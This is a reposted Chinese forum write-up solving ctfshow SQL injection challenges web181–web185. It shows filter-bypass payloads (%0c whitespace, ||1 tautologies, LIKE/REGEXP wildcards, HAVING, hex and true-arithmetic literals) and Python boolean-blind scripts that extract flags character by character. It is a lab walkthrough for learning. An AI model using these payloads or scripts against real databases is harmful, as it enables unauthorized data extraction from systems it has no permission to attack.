ctfshow-web入门-sql注入(web181-web185)

打印 上一主题 下一主题

主题 959|帖子 959|积分 2877

目录

1、web181
2、web182
3、web183
4、web184
5、web185


1、web181


过滤字符:
(1)空白字符:空格 ( )、水平制表符 (\x09)、换行符 (\x0a)、垂直制表符 (\x0b)、换页符 (\x0c)、空字符 (\x00)、回车符 (\x0d)、不换行空格 (\xa0)
(2)符号:星号 (*)、井号 (#)
(3)关键词(不区分大小写):file、into、select
现实测试 %0c 照旧可以用:
  1. 1'--%0c
复制代码

采用万能密码:
  1. 1'||1--%0c
复制代码
 
拿到 flag:ctfshow{bef90a74-9ae2-4c76-8111-0ea0406f120b}
显示 username 为 flag 的行也可以:
  1. 0'||username='flag
复制代码


2、web182


新增关键字 flag 的过滤,用 %0c :
  1. 1'||1--%0c
复制代码

拿到 flag:ctfshow{ee8c935f-360a-47c2-99aa-0238ee9c0289}
此外,用 %01 到 %08 都可以:
  1. 1'||1--%01
复制代码

还可以用 like 联合 % 举行通配绕过:
  1. 0'||%0cusername%0clike'f%
复制代码
% 可以匹配任何数目标字符,类似于前面我们用过的通配符 *
 
而 _ 可以匹配单个字符: 
  1. 0'||%0cusername%0clike'f___
复制代码


3、web183


post 提交一个 tableName 参数举行查询,推测表名照旧 ctfshow_user:
  1. tableName=ctfshow_user
复制代码
可以看到一共有 22 条记录 

单独查 flag 的这条数据:空格过滤了用括号取代
  1. tableName=(ctfshow_user)where(pass)like'ctfshow{%'
复制代码
回显 1  

查询失败或者查一条不存在的记录:
  1. tableName=(ctfshow_user)where(pass)like'test'
复制代码
回显 0 

很典型布尔盲注的特性
我们可以不停往 flag 后面新增字符举行猜解,比如下面先推测 flag 的前五个字符为 ctfsh ,后面是通配任意数目字符,回显是 1 ,说明我们推测精确了。
  1. tableName=(ctfshow_user)where(pass)like'ctfsh%'
复制代码

其实我们知道的部分为:ctfshow{
因此我们在此基础上继续往后面推测:
附上勇师傅自己写的 python 脚本,虽然就这么一个短短的简朴脚本,我真的调试了很久。。。
所以,好勤学编程吧。
  1. import requests
  2. import string
  3. url = 'http://abc922e7-01ed-4d9a-85a1-4f67a3ff5f32.challenge.ctf.show/select-waf.php'
  4. dic = string.digits+string.ascii_lowercase+'-{}'  # flag可能的字符
  5. # print(dic)
  6. out = 'ctfshow{'  # 已经确定的部分
  7. for j in range(0, 50):  # 为了确保flag完整输出,范围尽量大一点,观察到flag完全输出后结束运行即可
  8.     for k in dic:
  9.         payload = {'tableName': f"(ctfshow_user)where(pass)like'{out+k}%'"}  # 将每次更新后的out加上我们新增的一个猜测字符添加到payload
  10.         # print(payload)
  11.         re = requests.post(url, data=payload)
  12.         # print(re.text)
  13.         if '$user_count = 1;' in re.text:
  14.             print(k)
  15.             out += k
  16.             break  # 回显1说明我们猜正确了,跳出内层循环,继续猜下一位
  17.     print(out)
复制代码

拿到 flag:ctfshow{3f02d61c-3941-4a3f-8607-9abd3a6519f3} 

4、web184

新增过滤掉了 where ,使用 having 取代:
having 是从前筛选的字段再筛选,而 where 是从数据表中的字段直接举行的筛选的,如果已经筛选出了某个字段,这种情况下 having 和 where 等效,但是如果没有 select 某个字段,后面直接 having 这个字段,就会报错。
  1. select goods_price,goods_name from sw_goods where goods_price > 100
  2. select goods_price,goods_name from sw_goods having goods_price > 100
  3. 等效
复制代码
但是 
  1. select goods_name,goods_number from sw_goods where goods_price > 100
  2. 正常
  3. select goods_name,goods_number from sw_goods having goods_price > 100
  4. 报错,因为前面并没有筛选出 goods_price 字段
复制代码

过滤了引号,使用十六进制绕过 

这里没有过滤空格 
  1. tableName=ctfshow_user group by pass having pass like 0x63746673686f777b25
复制代码
回显成功 

对前面的脚本举行修改:
  1. import requests
  2. import string
  3. url = 'http://edb25716-636e-4234-bea4-4d0d6eccae00.challenge.ctf.show/select-waf.php'
  4. dic = string.digits+string.ascii_lowercase+'-{}'  # flag可能的字符
  5. dic = [f"{ord(c):02x}" for c in dic]  # 将字符转为十六进制格式
  6. # print(dic)
  7. out = '0x63746673686f777b'  # 已经确定的部分
  8. for j in range(0, 50):  # 为了确保flag完整输出,范围尽量大一点,观察到flag完全输出后结束运行即可
  9.     for k in dic:
  10.         # print(k)
  11.         # payload = {'tableName': f"(ctfshow_user)where(pass)like'{out+k}%'"}  # 将每次更新后的out加上我们新增的一个猜测字符添加到payload
  12.         payload = {'tableName': f"ctfshow_user group by pass having pass like {out+k}25"}
  13.         # print(payload)
  14.         re = requests.post(url, data=payload)
  15.         # print(re.text)
  16.         if '$user_count = 1;' in re.text:
  17.             print(k)
  18.             out += k
  19.             break  # 回显1说明我们猜正确了,跳出内层循环,继续猜下一位
  20.     print(out)
复制代码

得到:0x63746673686f777b37313064383239362d363661612d343335622d623364392d3137616539643639393162337d 
将十六进制转为字符串 

拿到 flag:ctfshow{710d8296-66aa-435b-b3d9-17ae9d6991b3} 

5、web185

过滤掉了数字

可以使用 true 联合 concat 拼接出数字

附上 yu 师傅的脚本: 
  1. #author:yu22x
  2. import requests
  3. import string
  4. url="http://8319afbf-281c-4a73-b14e-a29426d0e556.challenge.ctf.show/select-waf.php"
  5. s='0123456789abcdef-{}'
  6. def convert(strs):
  7.   t='concat('
  8.   for s in strs:
  9.     t+= 'char(true'+'+true'*(ord(s)-1)+'),'
  10.   return t[:-1]+")"
  11. flag=''
  12. for i in range(1,45):
  13.   print(i)
  14.   for j in s:
  15.     d = convert(f'^ctfshow{flag+j}')
  16.     data={
  17.     'tableName':f' ctfshow_user group by pass having pass regexp({d})'
  18.     }
  19.     #print(data)
  20.     r=requests.post(url,data=data)
  21.     #print(r.text)
  22.     if("user_count = 1"  in r.text):
  23.       flag+=j
  24.       print(flag)
  25.       if j=='}':
  26.         exit(0)
  27.       break
复制代码

拿到 flag:ctfshow{11e04c1b-6151-4696-81bf-8dba64323cfb}


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

我爱普洱茶

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表